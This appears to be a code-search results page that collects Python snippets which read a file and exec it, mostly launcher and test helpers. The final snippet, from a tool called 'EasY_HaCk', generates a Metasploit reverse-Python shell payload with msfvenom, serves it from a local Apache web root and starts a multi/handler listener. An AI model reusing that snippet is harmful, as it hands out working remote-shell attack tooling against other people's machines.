Every line of 'python runfile' code snippets is scanned for vulnerabilities by our powerful machine learning engine that combs millions of open source libraries, ensuring your Python code is secure.
18 def run_file(path): 19 with open(path) as f: 20 execute(f.read())
389 def _run(): 390 global __file__ 391 import os 392 import site # noqa: F401 393 sys.frozen = 'macosx_app' 394 395 argv0 = os.path.basename(os.environ['ARGVZERO']) 396 script = SCRIPT_MAP.get(argv0, DEFAULT_SCRIPT) # noqa: F821 397 398 sys.argv[0] = __file__ = script 399 if sys.version_info[0] == 2: 400 with open(script, 'rU') as fp: 401 source = fp.read() + "\n" 402 else: 403 with open(script, 'rb') as fp: 404 encoding = guess_encoding(fp) 405 406 with open(script, 'r', encoding=encoding) as fp: 407 source = fp.read() + '\n' 408 409 BOM = b'\xef\xbb\xbf'.decode('utf-8') 410 411 if source.startswith(BOM): 412 source = source[1:] 413 414 exec(compile(source, script, 'exec'), globals(), globals())
36 def _run(): 37 global __file__ 38 import os, sys 39 base = os.environ['RESOURCEPATH'] 40 41 sys.frozen = 'macosx_app' 42 sys.frameworks_dir = os.path.join(os.path.dirname(base), 'Frameworks') 43 sys.new_app_bundle = True 44 sys.site_packages = os.path.join(base, 'Python', 'site-packages') 45 sys.binaries_path = os.path.join(os.path.dirname(base), 'MacOS') 46 sys.console_binaries_path = os.path.join(os.path.dirname(base), 47 'console.app', 'Contents', 'MacOS') 48 49 exe = os.environ.get('CALIBRE_LAUNCH_MODULE', 'calibre.gui2.main') 50 exe = os.path.join(base, 'Python', 'site-packages', *exe.split('.')) 51 exe += '.py' 52 sys.argv[0] = __file__ = exe 53 for arg in list(sys.argv[1:]): 54 if arg.startswith('-psn'): 55 sys.argv.remove(arg) 56 execfile(exe, globals(), globals())
65 def run_file(example_filename): 66 """Run the python file specified by "example_filename" in the current global 67 namespace and return anything it prints to stdout.""" 68 # All of this appears to be overkill, but is necessary to emulate the file 69 # being run in its directory and have the __file__, etc attributes work 70 # correctly. 71 import __main__ 72 # Get current environment 73 prev_stdout = sys.stdout 74 prev_cwd = os.getcwd() 75 prev_file = __main__.__dict__.get('__file__', '') 76 77 # Direction that we'll execute the file in 78 example_dir = os.path.dirname(example_filename) 79 if not example_dir: 80 example_dir = '.' 81 82 # File-like object that stdout will be captured in 83 # I can't find a better way to do this than version conditionals... 84 if sys.version_info.major >= 3: 85 printed_output = io.StringIO() 86 else: 87 printed_output = io.BytesIO() 88 89 # Setup the environment for execution 90 sys.path.append(example_dir) 91 os.chdir(example_dir) 92 __main__.__file__ = example_filename 93 sys.stdout = printed_output 94 95 try: 96 # Run the file and capture anything it prints to stdout 97 with open(example_filename) as infile: 98 code = compile(infile.read(), example_filename, 'exec') 99 exec(code, __main__.__dict__) 100 finally: 101 # Return the environment to "normal" 102 os.chdir(prev_cwd) 103 __main__.__file__ = prev_file 104 sys.path.pop() 105 sys.stdout = prev_stdout 106 107 return printed_output.getvalue()
99 def run_file(self, filename): 100 """ Run file system file in this environment. """ 101 with self.game.fs.open(filename) as f: 102 code = f.read() 103 104 return self.run(code, filename)
293 def python(): 294 lhost = raw_input("Enter LHOST: ") 295 lport = raw_input("Enter LPORT: ") 296 name = raw_input("Enter Payload Name: ") 297 os.system("msfvenom -p cmd/unix/reverse_python LHOST=%s LPORT=%s -f raw > /sdcard/EasY_HaCk/%s.py"%(lhost,lport,name)) 298 clear() 299 print "Payload Successfuly Generated" 300 print "[1]-Do You Want To Start a listenner" 301 print "[2]-Do You Want To Start an IP Poisener " 302 li = raw_input() 303 if li == '2' : 304 os.system('rm $PREFIX/var/run/apache2/httpd.pid') 305 os.system('apachectl start') 306 os.system('cp /sdcard/EasY_HaCk/%s.py $PREFIX/share/apache2/default-site/htdocs/zaki/'%(name)) 307 os.system('clear') 308 print "Your IP Successfully Poisened :\033[0m http://%s:8080/zaki/%s.py"%(lhost,name) 309 listen = """ 310 use exploit/multi/handler 311 set PAYLOAD cmd/unix/reverse_python 312 set LHOST {0} 313 set LPORT {1} 314 exploit 315 """.format(lhost,lport) 316 with open('listener.rc', 'w') as f : 317 f.write(listen) 318 os.system('msfconsole -r listener.rc') 319 320 else : 321 listen = """ 322 use exploit/multi/handler 323 set PAYLOAD cmd/unix/reverse_python 324 set LHOST {0} 325 set LPORT {1} 326 exploit 327 """.format(lhost,lport) 328 with open('listener.rc', 'w') as f : 329 f.write(listen) 330 os.system('msfconsole -r listener.rc')